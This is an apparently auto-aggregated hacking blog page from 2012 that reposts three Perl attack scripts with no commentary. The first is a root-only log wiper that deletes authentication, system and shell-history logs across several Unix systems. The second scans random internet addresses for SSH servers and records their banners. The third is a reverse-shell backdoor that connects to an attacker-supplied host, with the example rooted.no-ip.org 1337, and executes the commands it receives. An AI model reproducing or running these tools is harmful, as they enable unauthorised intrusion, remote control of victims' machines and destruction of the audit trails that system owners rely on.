» Unlabelled » Kembolle Amilkar

Kembolle Amilkar

- on 07:36 - No comments

Kembolle Amilkar

Link to Kembolle Amilkar   
Posted: 13 Dec 2012 05:27 AM PST
Yeap! i'm a haxor cat stupid admin! :D 

#!usr/bin/perl -w #Warnings enabled!
#Log cleaner version Public
#This took time, Hope you ****ing use it :D
#NOTE - YOU MUST BE ROOT!
print qq^
############################
#  Log Cleaner 3.0 PUBLIC            
        #  Kouros                                                                        
############################
^;
while(1) {
  print "Enter Which OS: "; #User Input
  chomp($os = <STDIN>); #Takes it into memory
 
             
          if($os eq "help"){
          print "[+]Enter Your OS! Choose from 'linux', 'aix', 'sunos', 'irix'\n";
          print "[+]Hit enter with OS, Let the script do its work\n";
          print "[+]Note: You MUST Be Root!\n";
          print ".";
          print "[+]For Bug finds... Have Fun!\n";
          print "[+] - Kouros";
          }      
         
             if($os eq "linux"){ #If linux typed, do the following and start brackets
      foreach my $logphile(@linux) {
                   unlink($logphile) || print "[-]****ed up: \"$logphile\" : $!\n";
             }
             } elsif($os eq "sunos"){ #If sunos typed, do the following and start brackets
           foreach my $logphile(@sunos) {
                    unlink($logphile) || print "[-] ****ed up: \"$logphile\" : $!\n";
              }
              } elsif($os eq "aix"){ #If aix typed, do the following and start brackets
           foreach my $logphile(@aix) {
         unlink($logphile) || print "[-] ****ed up: \"$logphile\" : $!\n";
              }
              } elsif($os eq "irix"){ #If irix typed, do the following and start bracket
            foreach my $logphile(@irix) {
                    unlink($logphile) || print "[-] ****ed up: \"$logphile\" : $!\n";
              }
              } else { print"Umm WTF !?\n"; }
       
       
         
                              #Logs of Irix Systems
   { #Start Irix Bracket
    @irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx",
           "/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/",
         "/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log",
         "/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp",
         "/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore",
         "/var/adm/crash/unix") #End Array
        } #End Irix Bracket
                             #Log sof Aix Systems
   {   #Start Aix Bracket
   @aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",
            "/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog",
            "/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog",
            "/etc/security/failedlogin", "usr/spool/mqueue/syslog")   #End Array
      }   #End Aix Bracket
                             #Logs of SunOS Systems
   {   #Start SunOS Bracket                  
   @sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",
              "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",
              "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",
              "/var/adm/log/asppp.log", "/var/log/syslog",
              "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",
              "/var/lp/logs/lpsched", "/var/lp/logs/requests",
           "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log") #End Array
      } #End Sunos bracket
                             #Logs of Linux Systems  
   {   #Start Linux Bracket
    @linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
              "/var/log/secure","/root/.ksh_history", "/root/.bash_history",
              "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
              "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
              "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
              "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
              "/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
              "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
              "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
              "/var/log/httpsd/ssl.access_log", "/etc/mail/access",
              "/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
              "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
              "/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
              "/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
              "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice",
              "/var/log/news/suck.err", "/var/log/news/suck.notice",
              "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
              "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
              "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
              "/var/log/auth") #End array
      } #End linux bracket
   
   } #Ends Loop
Posted: 13 Dec 2012 05:18 AM PST


Bom Dia Senhores!!
- Segue uma ótima aplicação para encontrar serviços SSH ativos .

#!/usr/bin/perl
$found = 0;
$num = 0;
use IO::Socket::INET;
use IO::Socket;
sub ipgen(){
my $range1 = 223;
my $range2 = 254;
$oct1 = int(rand($range1)) + 1;
$oct2 = int(rand($range2)) + 1;
$oct3 = int(rand($range2)) + 1;
$oct4 = int(rand($range2)) + 1;
if($oct1 == 127 || $oct1 == 172 || $oct1 == 192 || $oct1 == 10){
$ip = &ipgen();
}else{
$ip = "$oct1.$oct2.$oct3.$oct4";
}
return $ip;
}
$port=22;
$file="OutSSH.txt";
while(1==1){
$target = &ipgen();
my $sock = new IO::Socket::INET (
PeerAddr => $target,
PeerPort => $port,
Proto => 'tcp',
Timeout => '2',
);
system("cls");
$num = $num+1;
print q{
  ____ ____  _   _  
/ ___/ ___|| | | |  ___  ___ __ _ _ __
\___ \___ \| |_| | / __|/ __/ _` | '_ \
  ___) |__) |  _  | \__ \ (_| (_| | | | |
|____/____/|_| |_| |___/\___\__,_|_| |_|
  SSH Scanner & Banner Grabber
};
print "Found:$found Scanning Port:$port\n";
print "IPs Scanned:$num\n";
if($sock){
$sssh = IO::Socket::INET->new(PeerAddr=>$target,PeerPort=>$port,Timeout=>"2");
    if ($sssh) {
   while (<$sssh>) {
  $banner=$_;
  close($sssh);
  }
    }
if (!defined($banner)){
$banner="Dead Port";
}
$found = $found+1;
open(DAT, ">>$file") || die("Cannot Open Output File");
print DAT "$target : $banner\n";
close(DAT);
}
close($sock);
}
Posted: 13 Dec 2012 05:14 AM PST
hy dudes! (:

#!/usr/bin/perl
#Coder FroZ3N
#Have Fun :)
use Sys::Hostname;
use IO::Socket::INET;
use Cwd;
my $machinename = hostname;
my $host = $ENV{LOGNAME} || $ENV{USER} || getpwuid(lt;);
my $path = getcwd;
my $hostname = $host.'@'.$machinename.":~$curdir# ";
$| =1;
$ip = $ARGV[0];
$port = $ARGV[1];
unless($ip and $port)
{ print q{
(+) Script Name : bdoor.pl
(+) Script CodeR : FroZeN
(+) Script Usage : ./bdoor.pl ip port
(+) Example : ./badoor.pl rooted.no-ip.org 1337
(+) Greetings : AnalyseR, Delirium, AmonR@, Drarqua , Rizla
};
}
$socket = new IO::Socket::INET(
PeerHost => $ip,
PeerPort => $port,
Proto => 'tcp',
) or die " (-) Socket Error : $!\n";
while(1)
{
showname();
while(<$socket>)
{
$cd = 'cd ';
$cma = $_;
if($cma =~ $cd)
{
@array = split ($cd , $cma);
chomp($array[1]);
$path = $array[1];
}
my @rec = qx{$_};
@command = join('',@rec);
foreach $line(@command)
{
print $socket "$line";
}
showname();
}
}
print $socket "\n";
$socket->close();
sub showname {
chdir($path);
my $curdir = getcwd;
my $hostname = $host.'@'.$machinename.":~$curdir# ";
print $socket $hostname;
}

Postar um comentário